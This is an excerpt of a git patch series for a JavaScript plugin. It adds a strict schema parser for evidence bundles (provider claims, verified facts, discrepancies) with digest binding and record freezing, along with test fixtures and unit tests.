${min}..${max}.`); + } + return value; +} + +function requiredKeys(input, keys, path) { + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!hasOwn(input, key)) { + fail('missing_key', `${path}.${key}`, + `${path}.${key} is required (${EVIDENCE_BUNDLE_SCHEMA_ID}); evidence records have no hidden defaults.`); + } + } +} + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!Object.hasOwn(values, key)) continue; + OBJECT_DEFINE_PROPERTY(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function payloadDigestOf(payload) { + const canonical = canonicalJsonStringify(payload); + const hash = CRYPTO_CREATE_HASH(DIGEST_ALGORITHM); + HASH_UPDATE.call(hash, BUFFER_FROM(canonical, 'utf8')); + return HASH_DIGEST.call(hash, 'hex'); +} + +function bindPayloadDigest(input, payload, path) { + const digest = payloadDigestOf(payload); + if (hasOwn(input, 'payload_digest')) { + const provided = optOwn(input, 'payload_digest'); + assertSha256(provided, `${path}.payload_digest`); + if (provided !== digest) { + fail('payload_digest_mismatch', `${path}.payload_digest`, + `${path}.payload_digest does not match the canonical payload digest.`); + } + } + return digest; +} + +function parseArtifactDigestList(input, path) { + const value = optOwn(input, 'artifact_digests'); + assertNotProxy(value, `${path}.artifact_digests`); + assertDenseJsonArray(value, `${path}.artifact_digests`); + if (value.length > MAX_ARTIFACT_IDS) { + fail('out_of_range', `${path}.artifact_digests`, + `${path}.artifact_digests exceeds ${MAX_ARTIFACT_IDS} entries.`); + } + const seen = new Set(); + const snapshots = []; + for (let index = 0; index < value.length; index += 1) { + const entryPath = `${path}.artifact_digests[${index}]`; + const digest = optOwn(value, STRING(index)); + assertSha256(digest, entryPath); + if (seen.has(digest)) { + fail('duplicate_id', entryPath, `${entryPath} repeats an artifact digest.`); + } + seen.add(digest); + snapshots.push(digest); + } + return capturedFreeze(snapshots); +} + +function parseClosedPayload(input, path, kind, table) { + const payload = optOwn(input, 'payload'); + const keys = table[kind]; + assertPlainObject(payload, 'invalid_type', `${path}.payload`, `${path}.payload`); + assertDirectJsonClosure(payload, `${path}.payload`); + assertAllowedKeys(payload, keys, `${path}.payload`); + requiredKeys(payload, keys, `${path}.payload`); + const values = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + values[key] = optOwn(payload, key); + } + if (hasOwn(values, 'model') && !isModelId(values.model)) { + fail('invalid_format', `${path}.payload.model`, + `${path}.payload.model violates the accepted model-id grammar.`); + } + if (hasOwn(values, 'command_id') && !isCommandId(values.command_id)) { + fail('invalid_format', `${path}.payload.command_id`, + `${path}.payload.command_id violates the accepted command-id grammar.`); + } + if (hasOwn(values, 'sha') && !isSha40(values.sha)) { + fail('invalid_format', `${path}.payload.sha`, + `${path}.payload.sha must be an exact immutable 40-character lowercase hex commit SHA.`); + } + if (hasOwn(values, 'base_sha')) assertBaseSha(values.base_sha, `${path}.payload.base_sha`); + if (hasOwn(values, 'head_sha') && !isSha40(values.head_sha)) { + fail('invalid_format', `${path}.payload.head_sha`, + `${path}.payload.head_sha must be an exact immutable 40-character lowercase hex commit SHA.`); + } + if (hasOwn(values, 'result')) { + const allowed = kind === 'artifact_integrity' ? INTEGRITY_RESULTS : REPORTED_RESULTS; + assertEnum(values.result, allowed, 'unknown_status', `${path}.payload.result`, 'result'); + } + if (hasOwn(values, 'path_count')) { + values.path_count = assertSafeInt(values.path_count, `${path}.payload.path_count`, 0, 65_536); + } + if (hasOwn(values, 'path_set_digest')) { + assertSha256(values.path_set_digest, `${path}.payload.path_set_digest`); + } + if (hasOwn(values, 'artifact_sha256')) { + assertSha256(values.artifact_sha256, `${path}.payload.artifact_sha256`); + } + return freezeRecord(keys, values); +} + +function parseOptionalTimestamp(input, path) { + if (!hasOwn(input, 'recorded_at')) return undefined; + return assertTimestamp(optOwn(input, 'recorded_at'), `${path}.recorded_at`); +} + +function parseIdentityPair(input, path) { + const runId = optOwn(input, 'run_id'); + assertRunId(runId, `${path}.run_id`); + const assignmentId = optOwn(input, 'assignment_id'); + if (!isAssignmentId(assignmentId)) { + fail('invalid_format', `${path}.assignment_id`, + `${path}.assignment_id violates the assignment-id grammar.`); + } + return { run_id: runId, assignment_id: assignmentId }; +} + +function parseIdList(input, key, path) { + const value = optOwn(input, key); + const field = `${path}.${key}`; + assertNotProxy(value, field); + assertDenseJsonArray(value, field); + if (value.length > MAX_ARTIFACT_IDS) { + fail('out_of_range', field, `${field} exceeds ${MAX_ARTIFACT_IDS} entries.`); + } + const seen = new Set(); + const snapshots = []; + for (let index = 0; index < value.length; index += 1) { + const entryPath = `${field}[${index}]`; + const id = optOwn(value, STRING(index)); + assertRecordId(id, entryPath); + if (seen.has(id)) fail('duplicate_id', entryPath, `${entryPath} repeats an identity.`); + seen.add(id); + snapshots.push(id); + } + return capturedFreeze(snapshots); +} + +function compatibleAuthority(factKind, authority, method) { + if (factKind === 'model_attested') { + return authority === 'independent_provider_query' && method === 'independent_model_query'; + } + if (factKind === 'acceptance_results') { + return authority === 'platform_acceptance_runner' && method === 'approved_command_execution'; + } + if (factKind === 'artifact_integrity') { + return (authority === 'platform_ref_audit' || authority === 'platform_git') + && method === 'artifact_digest_compare'; + } + if (factKind === 'git_diff' || factKind === 'git_identity' || factKind === 'head_sha') { + return authority === 'platform_git' + && (method === 'ancestry_check' || method === 'merge_commit_absence' + || method === 'scope_match' || method === 'read_only_no_changes' + || method === 'protected_ref_snapshot_compare' || method === 'artifact_digest_compare'); + } + return false; +} + +export function parseProviderClaimV1(input, path = 'claim') { + assertPlainObject(input, 'invalid_type', path, `${path}`); + assertDirectJsonClosure(input, path); + assertAllowedKeys(input, CLAIM_ALLOWED_KEYS, path); + requiredKeys(input, CLAIM_REQUIRED_KEYS, path); + const identity = parseIdentityPair(input, path); + const claimKind = assertEnum( + optOwn(input, 'claim_kind'), CLAIM_KINDS, 'unknown_claim_kind', `${path}.claim_kind`, 'claim kind', + ); + const status = assertEnum( + optOwn(input, 'status'), CLAIM_STATUSES, 'unknown_status', `${path}.status`, 'claim status', + ); + const code = assertEnum( + optOwn(input, 'code'), CLAIM_CODES, 'unknown_code', `${path}.code`, 'claim code', + ); + const payload = parseClosedPayload(input, path, claimKind, CLAIM_PAYLOAD_KEYS); + const values = { + claim_id: assertRecordId(optOwn(input, 'claim_id'), `${path}.claim_id`), + claim_kind: claimKind, + status, + code, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + sequence: assertSequence(optOwn(input, 'sequence'), `${path}.sequence`), + subject: assertSubject(optOwn(input, 'subject'), `${path}.subject`), + payload, + payload_digest: bindPayloadDigest(input, payload, path), + artifact_digests: parseArtifactDigestList(input, path), + }; + const recordedAt = parseOptionalTimestamp(input, path); + if (recordedAt !== undefined) values.recorded_at = recordedAt; + return freezeRecord(CLAIM_ALLOWED_KEYS, values); +} + +export function parseVerifiedFactV1(input, path = 'fact') { + assertPlainObject(input, 'invalid_type', path, `${path}`); + assertDirectJsonClosure(input, path); + assertAllowedKeys(input, FACT_ALLOWED_KEYS, path); + requiredKeys(input, FACT_REQUIRED_KEYS, path); + const identity = parseIdentityPair(input, path); + const factKind = assertEnum( + optOwn(input, 'fact_kind'), FACT_KINDS, 'unknown_fact_kind', `${path}.fact_kind`, 'fact kind', + ); + const status = assertEnum( + optOwn(input, 'status'), FACT_STATUSES, 'unknown_status', `${path}.status`, 'fact status', + ); + const code = assertEnum( + optOwn(input, 'code'), FACT_CODES, 'unknown_code', `${path}.code`, 'fact code', + ); + const authority = assertEnum( + optOwn(input, 'authority'), FACT_AUTHORITIES, 'unknown_authority', `${path}.authority`, 'authority', + ); + const method = assertEnum( + optOwn(input, 'method'), FACT_METHODS, 'unknown_method', `${path}.method`, 'method', + ); + if (!compatibleAuthority(factKind, authority, method)) { + fail('unsupported_pairing', `${path}.authority`, + `${path} pairs a fact kind with an authority or method the closed table does not allow.`); + } + const truncated = optOwn(input, 'truncated'); + if (truncated !== true && truncated !== false) { + fail('invalid_type', `${path}.truncated`, `${path}.truncated must be a boolean.`); + } + if (truncated === true && status === 'verified') { + fail('truncated_required_fact', `${path}.status`, + `${path} cannot be verified while truncated is true.`); + } + if (status === 'truncated' && truncated !== true) { + fail('invalid_format', `${path}.truncated`, + `${path}.truncated must be true when status is truncated.`); + } + const payload = parseClosedPayload(input, path, factKind, FACT_PAYLOAD_KEYS); + const values = { + fact_id: assertRecordId(optOwn(input, 'fact_id'), `${path}.fact_id`), + fact_kind: factKind, + status, + code, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + sequence: assertSequence(optOwn(input, 'sequence'), `${path}.sequence`), + subject: assertSubject(optOwn(input, 'subject'), `${path}.subject`), + authority, + method, + input_digest: assertSha256(optOwn(input, 'input_digest'), `${path}.input_digest`), + output_digest: assertSha256(optOwn(input, 'output_digest'), `${path}.output_digest`), + exit_code: (() => { + const exitCode = optOwn(input, 'exit_code'); + if (exitCode === null) return null; + return assertSafeInt(exitCode, `${path}.exit_code`, 0, 255); + })(), + duration_ms: assertSafeInt(optOwn(input, 'duration_ms'), `${path}.duration_ms`, 0, MAX_DURATION_MS), + truncated, + payload, + payload_digest: bindPayloadDigest(input, payload, path), + artifact_digests: parseArtifactDigestList(input, path), + }; + const recordedAt = parseOptionalTimestamp(input, path); + if (recordedAt !== undefined) values.recorded_at = recordedAt; + return freezeRecord(FACT_ALLOWED_KEYS, values); +} + +export function canonicalProviderClaimJsonV1(input, path = 'claim') { + return canonicalJsonStringify(parseProviderClaimV1(input, path)); +} + +export function canonicalVerifiedFactJsonV1(input, path = 'fact') { + return canonicalJsonStringify(parseVerifiedFactV1(input, path)); +} + +export { RunContractV1Error as EvidenceContractV1Error }; +export { ARTIFACT_REF_SCHEMA_ID }; diff --git a/plugins/codex-co-engineer/test/fixtures/r1-evidence-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-evidence-fixtures.mjs new file mode 100644 index 0000000..98498fd --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-evidence-fixtures.mjs @@ -0,0 +1,163 @@ +// Shared fixtures for the W12-P13 EvidenceBundleV1 tests. +// Pure data and tiny local helpers; no I/O and no product imports beyond +// the evidence and artifact modules under test. + +import { ARTIFACT_REF_SCHEMA_ID } from '../../mcp/v3/artifact-ref.mjs'; +import { canonicalJsonStringify } from '../../mcp/v3/identity.mjs'; +import { createHash } from 'node:crypto'; + +export const RUN_ID = 'run-evidence-01'; +export const REQUEST_ID = 'sel-0123456789abcdef0123456789abcdef'; +export const ASSIGNMENT_ID = 'lane-alpha'; +export const PROVIDER = 'dsh'; +export const MODEL = 'stealth/ox-alpha'; +export const BASE_SHA = 'a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0'; +export const HEAD_SHA = 'b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0'; +export const REPOSITORY_PATH = '/tmp/cce-r1-evidence-repo'; +export const COMMAND_ID = 'unit-tests'; + +export const SHA_REPORT = '11'.repeat(32); +export const SHA_ACCEPT = '22'.repeat(32); +export const SHA_DIFF = '33'.repeat(32); +export const SHA_INPUT = '44'.repeat(32); +export const SHA_OUTPUT = '55'.repeat(32); +export const SHA_PATHSET = '66'.repeat(32); + +export function payloadDigest(payload) { + return createHash('sha256').update(canonicalJsonStringify(payload), 'utf8').digest('hex'); +} + +export function validClaim(overrides = {}) { + const payload = overrides.payload ?? { result: 'pass' }; + const claim = { + claim_id: 'c-tests', + claim_kind: 'tests_passed', + status: 'asserted', + code: 'provider_reported', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + sequence: 0, + subject: 'unit-tests', + payload, + artifact_digests: [SHA_REPORT], + ...overrides, + }; + if (overrides.payload !== undefined) claim.payload = overrides.payload; + return claim; +} + +export function validModelClaim(overrides = {}) { + return validClaim({ + claim_id: 'c-model', + claim_kind: 'model_used', + sequence: 1, + subject: 'model', + payload: { model: MODEL }, + ...overrides, + }); +} + +export function validFact(overrides = {}) { + const payload = overrides.payload ?? { command_id: COMMAND_ID, result: 'pass' }; + return { + fact_id: 'f-accept', + fact_kind: 'acceptance_results', + status: 'verified', + code: 'host_observed', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + sequence: 0, + subject: 'unit-tests', + authority: 'platform_acceptance_runner', + method: 'approved_command_execution', + input_digest: SHA_INPUT, + output_digest: SHA_OUTPUT, + exit_code: 0, + duration_ms: 1200, + truncated: false, + payload, + artifact_digests: [SHA_ACCEPT], + ...overrides, + }; +} + +export function validGitIdentityFact(overrides = {}) { + return validFact({ + fact_id: 'f-git', + fact_kind: 'git_identity', + sequence: 1, + subject: 'repository', + authority: 'platform_git', + method: 'ancestry_check', + exit_code: null, + payload: { base_sha: BASE_SHA, head_sha: HEAD_SHA }, + artifact_digests: [SHA_DIFF], + ...overrides, + }); +} + +export function validArtifactRef(overrides = {}) { + return { + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + artifact_kind: 'git_diff', + artifact_class: 'sanitized', + relative_path: `runs/${RUN_ID}/${ASSIGNMENT_ID}/diff.patch`, + byte_length: 2048, + sha256: SHA_DIFF, + media_type: 'text/plain', + content_encoding: 'identity', + ...overrides, + }; +} + +export function reportRef(overrides = {}) { + return validArtifactRef({ + artifact_kind: 'provider_report', + relative_path: `runs/${RUN_ID}/${ASSIGNMENT_ID}/report.txt`, + sha256: SHA_REPORT, + ...overrides, + }); +} + +export function acceptanceRef(overrides = {}) { + return validArtifactRef({ + artifact_kind: 'acceptance_output', + relative_path: `runs/${RUN_ID}/${ASSIGNMENT_ID}/accept.json`, + sha256: SHA_ACCEPT, + media_type: 'application/json', + ...overrides, + }); +} + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} diff --git a/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs b/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs new file mode 100644 index 0000000..f88f57f --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs @@ -0,0 +1,234 @@ +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + CLAIM_ALLOWED_KEYS, + CLAIM_KINDS, + CLAIM_REQUIRED_KEYS, + EVIDENCE_BUNDLE_SCHEMA_ID, + EVIDENCE_BUNDLE_VERSION, + FACT_ALLOWED_KEYS, + FACT_KINDS, + FACT_REQUIRED_KEYS, + canonicalProviderClaimJsonV1, + canonicalVerifiedFactJsonV1, + parseProviderClaimV1, + parseVerifiedFactV1, +} from '../mcp/v3/evidence-bundle.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + MODEL, + countingProxy, + payloadDigest, + trapTotal, + validClaim, + validFact, + validGitIdentityFact, + validModelClaim, +} from './fixtures/r1-evidence-fixtures.mjs'; + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +test('schema identity is additive v1 and does not claim a 4.0.0 major', () => { + assert.equal(EVIDENCE_BUNDLE_SCHEMA_ID, 'codex-co-engineer.evidence-bundle.v1'); + assert.equal(EVIDENCE_BUNDLE_VERSION, 1); + assert.equal(EVIDENCE_BUNDLE_SCHEMA_ID.includes('4.0.0'), false); +}); + +test('a valid provider claim parses into a frozen detached snapshot', () => { + const input = validClaim(); + const snapshot = parseProviderClaimV1(input); + assert.equal(Object.isFrozen(snapshot), true); + assert.equal(Object.isFrozen(snapshot.payload), true); + assert.equal(Object.isFrozen(snapshot.artifact_digests), true); + assert.equal(snapshot.claim_kind, 'tests_passed'); + assert.equal(snapshot.status, 'asserted'); + assert.equal(snapshot.payload.result, 'pass'); + assert.equal(snapshot.payload_digest, payloadDigest(snapshot.payload)); + input.payload = { result: 'fail' }; + input.subject = 'other'; + assert.equal(snapshot.payload.result, 'pass'); + assert.equal(snapshot.subject, 'unit-tests'); + assert.throws(() => { 'use strict'; snapshot.status = 'unsupported'; }, TypeError); +}); + +test('a valid verified fact carries authority, method, input, output, exit, timing, truncation, and digest', () => { + const snapshot = parseVerifiedFactV1(validFact()); + assert.equal(snapshot.authority, 'platform_acceptance_runner'); + assert.equal(snapshot.method, 'approved_command_execution'); + assert.match(snapshot.input_digest, /^[0-9a-f]{64}$/u); + assert.match(snapshot.output_digest, /^[0-9a-f]{64}$/u); + assert.equal(snapshot.exit_code, 0); + assert.equal(snapshot.duration_ms, 1200); + assert.equal(snapshot.truncated, false); + assert.equal(snapshot.payload_digest, payloadDigest(snapshot.payload)); + assert.equal(snapshot.status, 'verified'); +}); + +test('claims and facts remain distinct closed key worlds', () => { + for (const key of ['authority', 'method', 'input_digest', 'truncated', 'fact_kind']) { + assert.equal(CLAIM_ALLOWED_KEYS.includes(key), false, key); + } + for (const key of ['claim_kind']) { + assert.equal(FACT_ALLOWED_KEYS.includes(key), false, key); + } + assert.equal( + errorOf(() => parseProviderClaimV1(validClaim({ authority: 'platform_git' })), 'claim.authority').code, + 'unknown_key', + ); + assert.equal( + errorOf(() => parseVerifiedFactV1(validFact({ claim_kind: 'tests_passed' })), 'fact.claim_kind').code, + 'unknown_key', + ); + assert.equal(FACT_KINDS.includes('provider_report'), false); + assert.equal(CLAIM_KINDS.includes('acceptance_results'), false); +}); + +test('canonical claim and fact bytes are independent of object key order', () => { + const claim = validClaim(); + const reordered = {}; + for (const key of Object.keys(claim).reverse()) reordered[key] = claim[key]; + assert.equal(canonicalProviderClaimJsonV1(claim), canonicalProviderClaimJsonV1(reordered)); + + const fact = validFact(); + const factReordered = {}; + for (const key of Object.keys(fact).reverse()) factReordered[key] = fact[key]; + assert.equal(canonicalVerifiedFactJsonV1(fact), canonicalVerifiedFactJsonV1(factReordered)); +}); + +test('supplied payload digests must match the canonical payload and never trust-upgrade', () => { + const claim = validClaim(); + const digest = payloadDigest(claim.payload); + assert.doesNotThrow(() => parseProviderClaimV1({ ...claim, payload_digest: digest })); + assert.equal( + errorOf(() => parseProviderClaimV1({ ...claim, payload_digest: 'ab'.repeat(32) })).code, + 'payload_digest_mismatch', + ); + const parsed = parseProviderClaimV1(claim); + const mutated = JSON.parse(canonicalProviderClaimJsonV1(claim)); + mutated.payload.result = 'fail'; + mutated.payload_digest = parsed.payload_digest; + assert.equal(errorOf(() => parseProviderClaimV1(mutated)).code, 'payload_digest_mismatch'); +}); + +test('every claim and fact kind in the closed vocabularies parses', () => { + const claims = [ + validClaim(), + validModelClaim(), + validClaim({ + claim_id: 'c-head', claim_kind: 'head_reached', subject: 'head', + payload: { sha: 'b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0' }, + }), + validClaim({ + claim_id: 'c-files', claim_kind: 'files_changed', subject: 'diff', + payload: { path_count: 3 }, + }), + validClaim({ + claim_id: 'c-cmd', claim_kind: 'command_reported', subject: 'unit-tests', + payload: { command_id: 'unit-tests', result: 'pass' }, + }), + ]; + for (const claim of claims) parseProviderClaimV1(claim); + parseVerifiedFactV1(validFact()); + parseVerifiedFactV1(validGitIdentityFact()); + parseVerifiedFactV1(validFact({ + fact_id: 'f-head', fact_kind: 'head_sha', subject: 'head', + authority: 'platform_git', method: 'ancestry_check', exit_code: null, + payload: { sha: 'b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0' }, + })); + parseVerifiedFactV1(validFact({ + fact_id: 'f-diff', fact_kind: 'git_diff', subject: 'diff', + authority: 'platform_git', method: 'scope_match', exit_code: null, + payload: { path_count: 3, path_set_digest: '66'.repeat(32) }, + })); + parseVerifiedFactV1(validFact({ + fact_id: 'f-model', fact_kind: 'model_attested', subject: 'model', + authority: 'independent_provider_query', method: 'independent_model_query', + exit_code: null, payload: { model: MODEL }, + })); + parseVerifiedFactV1(validFact({ + fact_id: 'f-art', fact_kind: 'artifact_integrity', subject: 'artifact', + authority: 'platform_ref_audit', method: 'artifact_digest_compare', + payload: { artifact_sha256: '22'.repeat(32), result: 'match' }, + })); +}); + +test('unknown kinds, statuses, authorities, and pairings fail closed', () => { + assert.equal( + errorOf(() => parseProviderClaimV1(validClaim({ claim_kind: 'git_diff' }))).code, + 'unknown_claim_kind', + ); + assert.equal( + errorOf(() => parseVerifiedFactV1(validFact({ fact_kind: 'provider_report' }))).code, + 'unknown_fact_kind', + ); + assert.equal( + errorOf(() => parseVerifiedFactV1(validFact({ + fact_kind: 'model_attested', + authority: 'platform_acceptance_runner', + method: 'approved_command_execution', + payload: { model: MODEL }, + }))).code, + 'unsupported_pairing', + ); + assert.equal( + errorOf(() => parseVerifiedFactV1(validFact({ truncated: true, status: 'verified' }))).code, + 'truncated_required_fact', + ); +}); + +test('identity grammars reuse accepted P02 run and assignment ids', () => { + assert.equal( + errorOf(() => parseProviderClaimV1(validClaim({ run_id: 'Run-Evidence' })), 'claim.run_id').code, + 'invalid_format', + ); + assert.equal( + errorOf(() => parseVerifiedFactV1(validFact({ assignment_id: 'Lane-Alpha' })), 'fact.assignment_id').code, + 'invalid_format', + ); +}); + +test('required keys, forbidden classes, and non-finite numbers fail closed', () => { + for (const key of CLAIM_REQUIRED_KEYS) { + const partial = validClaim(); + delete partial[key]; + assert.equal(errorOf(() => parseProviderClaimV1(partial), `claim.${key}`).code, 'missing_key'); + } + for (const key of FACT_REQUIRED_KEYS) { + const partial = validFact(); + delete partial[key]; + assert.equal(errorOf(() => parseVerifiedFactV1(partial), `fact.${key}`).code, 'missing_key'); + } + assert.equal(errorOf(() => parseProviderClaimV1(validClaim({ secret: 'x' }))).code, 'credential_content_denied'); + assert.equal(errorOf(() => parseVerifiedFactV1(validFact({ argv: ['npm', 'test'] }))).code, 'executable_content_denied'); + assert.equal(errorOf(() => parseVerifiedFactV1(validFact({ duration_ms: Number.NaN }))).code, 'invalid_json_value'); + assert.equal(errorOf(() => parseVerifiedFactV1(validFact({ duration_ms: Infinity }))).code, 'invalid_json_value'); + assert.equal(errorOf(() => parseProviderClaimV1(validClaim({ sequence: 1.5 }))).code, 'invalid_type'); +}); + +test('live proxies and accessors are denied without invoking traps or getters', () => { + const { proxy, counts } = countingProxy(validClaim()); + assert.equal(errorOf(() => parseProviderClaimV1(proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + let reads = 0; + const getterClaim = validClaim(); + Object.defineProperty(getterClaim, 'subject', { + enumerable: true, + get() { + reads += 1; + return 'unit-tests'; + }, + }); + assert.equal(errorOf(() => parseProviderClaimV1(getterClaim)).code, 'accessor_property_denied'); + assert.equal(reads, 0); +}); From d8dca96e37f86fbd747f8ee6bbeba3150f9cb5d6 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 05:12:51 +0000 Subject: [PATCH 41/81] feat(evidence): define discrepancy and artifact references Bind mismatch/missing/unverifiable/integrity/security discrepancies to exact claim and fact identities, accept only validated P07 ArtifactRefV1 snapshots, and freeze canonical bundle bytes plus the reserved evidence-bundle.v1 digest. --- .../mcp/v3/evidence-bundle.mjs | 530 +++++++++++++++++- .../test/fixtures/r1-evidence-fixtures.mjs | 36 ++ .../test/r1-evidence-bundle.test.mjs | 150 +++++ 3 files changed, 715 insertions(+), 1 deletion(-) diff --git a/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs b/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs index bd46631..8b7758b 100644 --- a/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs +++ b/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs @@ -21,13 +21,14 @@ import { parseArtifactRefV1, } from './artifact-ref.mjs'; import { - capturedDescriptor, capturedFreeze, capturedIncludes, + capturedIsArray, capturedJoin, isKnownProvider, isModelId, knownProvidersJoined, + sortedCapturedKeys, } from './grammar.mjs'; import { IDENTITY_DOMAIN, @@ -408,6 +409,32 @@ function parseOptionalTimestamp(input, path) { return assertTimestamp(optOwn(input, 'recorded_at'), `${path}.recorded_at`); } +function assertEvidenceBounds(value, path) { + let nodes = 0; + const walk = (node, depth, nodePath) => { + nodes += 1; + if (nodes > MAX_EVIDENCE_NODES) { + fail('out_of_range', nodePath, `${path} exceeds ${MAX_EVIDENCE_NODES} evidence nodes.`); + } + if (depth > MAX_EVIDENCE_DEPTH) { + fail('out_of_range', nodePath, + `${nodePath} exceeds the evidence depth cap of ${MAX_EVIDENCE_DEPTH}.`); + } + if (node === null || typeof node !== 'object') return; + if (capturedIsArray(node)) { + for (let index = 0; index < node.length; index += 1) { + walk(node[index], depth + 1, `${nodePath}[${index}]`); + } + return; + } + const keys = sortedCapturedKeys(node); + for (let index = 0; index < keys.length; index += 1) { + walk(node[keys[index]], depth + 1, `${nodePath}.${keys[index]}`); + } + }; + walk(value, 0, path); +} + function parseIdentityPair(input, path) { const runId = optOwn(input, 'run_id'); assertRunId(runId, `${path}.run_id`); @@ -569,5 +596,506 @@ export function canonicalVerifiedFactJsonV1(input, path = 'fact') { return canonicalJsonStringify(parseVerifiedFactV1(input, path)); } +export function parseEvidenceDiscrepancyV1(input, path = 'discrepancy') { + assertPlainObject(input, 'invalid_type', path, `${path}`); + assertDirectJsonClosure(input, path); + assertAllowedKeys(input, DISCREPANCY_ALLOWED_KEYS, path); + requiredKeys(input, DISCREPANCY_REQUIRED_KEYS, path); + const identity = parseIdentityPair(input, path); + const kind = assertEnum( + optOwn(input, 'discrepancy_kind'), DISCREPANCY_KINDS, + 'unknown_discrepancy_kind', `${path}.discrepancy_kind`, 'discrepancy kind', + ); + const status = assertEnum( + optOwn(input, 'status'), DISCREPANCY_STATUSES, 'unknown_status', `${path}.status`, 'discrepancy status', + ); + const code = assertEnum( + optOwn(input, 'code'), DISCREPANCY_CODES, 'unknown_code', `${path}.code`, 'discrepancy code', + ); + if (KIND_CODES[kind] !== code) { + fail('unsupported_pairing', `${path}.code`, + `${path}.code must be the closed code for its discrepancy kind.`); + } + const claimIds = parseIdList(input, 'claim_ids', path); + const factIds = parseIdList(input, 'fact_ids', path); + if (kind === 'mismatch' && (claimIds.length === 0 || factIds.length === 0)) { + fail('invalid_format', path, + `${path} of kind mismatch must link at least one claim identity and one fact identity.`); + } + if (kind === 'missing' && claimIds.length === 0) { + fail('invalid_format', `${path}.claim_ids`, + `${path} of kind missing must link the claim identity that lacks a fact.`); + } + const values = { + discrepancy_id: assertRecordId(optOwn(input, 'discrepancy_id'), `${path}.discrepancy_id`), + discrepancy_kind: kind, + status, + code, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + sequence: assertSequence(optOwn(input, 'sequence'), `${path}.sequence`), + claim_ids: claimIds, + fact_ids: factIds, + artifact_digests: parseArtifactDigestList(input, path), + }; + const recordedAt = parseOptionalTimestamp(input, path); + if (recordedAt !== undefined) values.recorded_at = recordedAt; + return freezeRecord(DISCREPANCY_ALLOWED_KEYS, values); +} + +function parseRepository(input, path) { + const value = optOwn(input, 'repository'); + assertPlainObject(value, 'invalid_type', path, path); + assertDirectJsonClosure(value, path); + assertAllowedKeys(value, REPOSITORY_ALLOWED_KEYS, path); + requiredKeys(value, REPOSITORY_ALLOWED_KEYS, path); + const repositoryPath = optOwn(value, 'path'); + assertRepositoryPath(repositoryPath, `${path}.path`); + const baseSha = optOwn(value, 'base_sha'); + assertBaseSha(baseSha, `${path}.base_sha`); + return freezeRecord(REPOSITORY_ALLOWED_KEYS, { path: repositoryPath, base_sha: baseSha }); +} + +function parseCandidate(input, path) { + if (!hasOwn(input, 'candidate')) return undefined; + const value = optOwn(input, 'candidate'); + assertPlainObject(value, 'invalid_type', path, path); + assertDirectJsonClosure(value, path); + assertAllowedKeys(value, CANDIDATE_ALLOWED_KEYS, path); + requiredKeys(value, CANDIDATE_ALLOWED_KEYS, path); + const sha = optOwn(value, 'sha'); + if (!isSha40(sha)) { + fail('invalid_format', `${path}.sha`, + `${path}.sha must be an exact immutable 40-character lowercase hex commit SHA.`); + } + return freezeRecord(CANDIDATE_ALLOWED_KEYS, { sha }); +} + +function compareById(left, right, key) { + if (left[key] === right[key]) return 0; + return left[key] < right[key] ? -1 : 1; +} + +function parseRecordList(input, key, path, max, parseOne, idKey) { + const value = optOwn(input, key); + const field = `${path}.${key}`; + assertNotProxy(value, field); + assertDenseJsonArray(value, field); + if (value.length > max) { + fail('out_of_range', field, `${field} exceeds ${max} entries.`); + } + const snapshots = []; + const seenIds = new Set(); + const seenSequences = new Set(); + for (let index = 0; index < value.length; index += 1) { + const entryPath = `${field}[${index}]`; + assertNotProxy(value[index], entryPath); + const snapshot = parseOne(value[index], entryPath); + if (seenIds.has(snapshot[idKey])) { + fail('duplicate_id', `${entryPath}.${idKey}`, + `${entryPath}.${idKey} repeats an identity; duplicates are denied instead of collapsed.`); + } + if (seenSequences.has(snapshot.sequence)) { + fail('duplicate_sequence', `${entryPath}.sequence`, + `${entryPath}.sequence repeats an injected sequence.`); + } + 